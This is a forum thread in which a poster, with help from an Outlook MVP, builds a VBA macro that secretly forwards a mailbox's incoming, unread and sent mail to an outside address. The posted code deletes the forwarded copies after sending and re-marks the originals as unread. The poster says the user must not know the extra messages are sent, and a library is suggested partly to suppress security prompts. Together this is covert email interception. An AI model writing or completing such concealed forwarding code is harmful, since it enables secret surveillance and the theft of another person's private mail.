How to send a duplicate mail each time a mail is sent ?

W

Walshy

If someone could please help me with the following id be grateful...

Sue

This is great thanks... The only problem is, when I go into my sent items
after the item has been sent and open up that item I can see that it has been
bcc`d to "(e-mail address removed)"... is there any way so that it does not
show this ??? hide that field or something maybe ???

I was thinking to get round this, when an item is sent to create an
additional new mail and sent the original sent item as an attachment maybe
??? the only prob I am having is the attachment isnt working properly ??? is
attached as a blank ??? not the original sent item ???

I maybe totally wrong on how I am doing this... if you could help me id be
very grateful...

code i tried to do myself ??? doh !!!

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)

Set objreply = Application.CreateItem(olMailItem)
objreply.Subject = "Sent Items"
objreply.BCC = "(e-mail address removed)"
objreply.Attachments.Add Item
objreply.Display

End Sub


Regards
 
S

Sue Mosher [MVP-Outlook]

Wrong event. When ItemSend fires, the item has not yet been sent, so it will
be missing key information like the sent date/time and the sender. Instead,
you should use the MAPIFolder.Items.ItemAdd method to monitor the Sent Items
folder for new items.
 
W

Walshy

Thanks again Sue,

Anychance of giving us the code to do that ??? Would appreciate it loads...

Thank you so much
 
W

Walshy

I am using outlook 2000, will this still work on there ?


Dim WithEvents colSentItems As Items

Private Sub Application_Startup()
Dim NS As Outlook.NameSpace
Set NS = Application.GetNamespace("MAPI")
Set colSentItems = NS.GetDefaultFolder(olFolderSentMail).Items
Set NS = Nothing
End Sub

Private Sub colSentItems_ItemAdd(ByVal Item As Object)
If Item.Class = olMail Then
Item.ShowCategoriesDialog
Item.Save
End If
End Sub
 
W

Walshy

also where do I put the address of the person to send bcc it to ???
michael.walsh:eek:rbit.org

and also does this keep a copy in the sent items ? I dont want a copy
there... ??

Sorry to be a pain am new to this and trying to get to grips with it... is
more difficult than I thought !!!
 
S

Sue Mosher [MVP-Outlook]

Yes, the same basic framework works in that version. Your code for the
ItemAdd handler would, of course, be different, because your application
does not involve changing categories. Also, since you need to create
(Application.CreateItem), attach an item (MailItem.Attachments.Add), and
send the resulting message, if you have Outlook 2000 SP-2 or later, you may
want to consider using the Redemption library from
http://www.dimastr.com/redemption/. Otherwise, you'll get a security prompt
for each message sent by your code.

--
Sue Mosher, Outlook MVP
Author of
Microsoft Outlook Programming - Jumpstart for
Administrators, Power Users, and Developers
 
S

Sue Mosher [MVP-Outlook]

No Bcc is involved. You just set the To property of the new message you
create. Remember, the idea is to forward the sent item as an attachment.

You can avoid keeping a copy by setting the new message's DeleteAfterSubmit
property to True.

--
Sue Mosher, Outlook MVP
Author of
Microsoft Outlook Programming - Jumpstart for
Administrators, Power Users, and Developers
 
W

Walshy

Sue, thanks for your help... I have been trying for ages now, but no joy in
getting the last bit to work !!! very frustrating !!! im not sure how to
incorporate it to what I have already ?????

so far all items that are unread when I log on are forwrded, items i recieve
are forwarded its just the items I send... just cant get that working please
could you look at what I have so far and tell me what I have to do or add to
get this working !!! I would appreciate this SO much its the last bit I have
to do !!!

I just dont want the user to know that additional sent message has been
sent...

here is what I have so far (with help of other users on here !!!) I have
this under thisoutlooksession:

Public WithEvents myOlItems As Outlook.Items

Private Sub Application_Startup()

Dim obj As Object
Dim objReply As MailItem

For Each obj In Application.Session.GetDefaultFolder(olFolderInbox).Items
If TypeOf obj Is Outlook.MailItem Then
If obj.UnRead = True Then
Set omail = obj

Set objReply = Application.CreateItem(olMailItem)
objReply.Subject = "My Subject Line"
objReply.BCC = "(e-mail address removed)"
objReply.Attachments.Add omail
objReply.DeleteAfterSubmit = True
objReply.Send
obj.UnRead = True
End If
End If
Next

Set myOlItems = Outlook.Session.GetDefaultFolder(olFolderInbox).Items

End Sub

Private Sub myOlItems_ItemAdd(ByVal Item As Object)

Dim objItem As Object
Dim objReply As Outlook.MailItem

Set objReply = Application.CreateItem(olMailItem)
objReply.Subject = "My Subject Line"
objReply.BCC = "(e-mail address removed)"

If TypeName(Item) = "MailItem" Then
objReply.Attachments.Add Item
End If

objReply.DeleteAfterSubmit = True
objReply.Send

Set objItem = Nothing
Set objReply = Nothing

Item.UnRead = True

End Sub


' ****** THIS IS WHERE THE PROBLEM IS !!! Grrr *******

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)

Dim objMe As Recipient

Set objMe = Item.Recipients.Add("(e-mail address removed)")
objMe.Type = olBCC
objMe.Resolve
Set objMe = Nothing

End Sub


So sorry to be a pain !!!!!

I appreciate all your help !!!!
 
S

Sue Mosher [MVP-Outlook]

You're taking a step backwards. We've already discussed how ItemSend does
not meet your stated needs. What didn't you understand about using the
MAPIFolder.Items.ItemAdd event with the Sent Items folder, almost identical
to what you're already doing with the Inbox folder (except that in neither
case do you need to use Bcc, since you're creating a new message).
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Top